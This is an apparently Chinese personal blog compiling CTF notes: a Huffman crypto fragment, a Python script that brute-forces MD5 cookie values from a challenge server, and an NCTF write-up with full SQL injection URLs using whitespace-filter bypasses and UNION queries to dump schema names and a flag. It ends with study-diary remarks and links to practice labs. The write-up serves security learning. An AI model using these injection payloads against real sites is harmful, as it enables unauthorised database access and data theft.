CRYPTO哈夫曼之谜
1 | 11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110 |
1 | import huffman |
1 | 11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110 |
1 | import huffman |
Do prepare to see cookies lurking everywhere. http://159.89.166.12:13500/1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import requests
import hashlib
from itertools import *
import string
flag = []
wordlist = string.printable
s = requests.session()
for i in range(40):
cookie = s.get('http://159.89.166.12:13500/').cookies['flag']
flag.append(cookie)
print (flag)
result= []
for i in flag:
for j in permutations(wordlist,2):
guess = "".join(j)
md5 = hashlib.md5(guess.encode("utf8")).hexdigest()
if md5 ==i:
result.append(guess)
break
print (result)
http://123.206.87.240:8002/web6/
这道题我首先在headers里发现flag,base64解码然后提交失败,发现是需要post得到的数据,然后试了半天都不对,结果发现需要post的是两次解码后的得到的数字。。。
无语,上代码
我果真是太菜了,nctf只做出了web签到题和re签到题外加打了一个i wanna,连web的sql注入签到都没有做出来,在看了一位大佬的write up后,感觉收获很多。
http://ctfgame.acdxvfsvd.net:20001/
首先学到了空格的过滤绕过:1
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ ()
发现过滤了截断符号%23,#,–+,只要在语句最后在加个单引号使其闭合就可以了,’’空的也可以执行,就不用用注释了。
然后大佬提到’必须直接跟在select后。1
2
3?id=1'' 查询:select * from user where id='1''' LIMIT0,1 可以
?id=1' and 1=1' 查询:select * from users where id='1' and 1=1'' LIMIT 0,1 不可以
id=-1' union select 1,2,3' 可以
然后用子查询进行操作,select * from user where id=’-1’ union select (select group_concat(schema_name) from information_schema.schemata),2,3’,这样就行了。1
2
3
4http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0union%a0select%a0(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),2,3%27爆数据库名,应该是这个flaaaaaaag数据库。
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0union%a0select%a0(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=%27flaaaaaaag%27),2,3%27爆表名,f144444444g
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0union%a0select%a0(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name=%27f144444444g%27),2,3%27爆列名,th1s_1s_flag
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0union%a0select%a0(select%a0th1s_1s_flag%a0from%a0flaaaaaaag.f144444444g),2,3%27查询到flag
收获很多。
这几天又开始学前端了,准备和活动室里两个大佬合伙做院科协的网页设计活动,真的很忙呀!!!
然后昨天郁师傅推荐了一个上传漏洞的靶场https://github.com/c0ny1/upload-labs,于是我又要学php了,得学会php的代码审计吧!!!
感觉有点汗颜,因为线代、高数,以及我萌生了想学算法的念头,导致我没时间学习安全,今天下午没课我就练了几道简单的sql注入题。
说来都是巧合,昨天我们c语言老师推荐了第四版的《加密与解密》,今天我就望着价钱瑟瑟发抖,然后看见这本书是由看雪论坛的大神写的,所以机缘巧合就看到了这个帖子。https://bbs.pediy.com/thread-218653.htm
这个帖子里提供了几个云靶机。我就选择了OWASP Bricks练手(我是菜鸟),这是地址http://43.247.91.228:83/login-pages.html